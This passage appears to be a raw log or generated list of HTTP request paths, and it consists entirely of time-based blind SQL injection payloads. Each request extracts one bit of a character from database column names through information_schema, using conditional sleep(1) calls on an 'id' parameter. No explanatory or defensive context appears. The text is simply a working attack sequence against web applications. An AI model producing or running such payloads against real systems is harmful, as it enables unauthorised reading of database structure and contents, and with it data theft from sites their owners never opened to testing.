information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 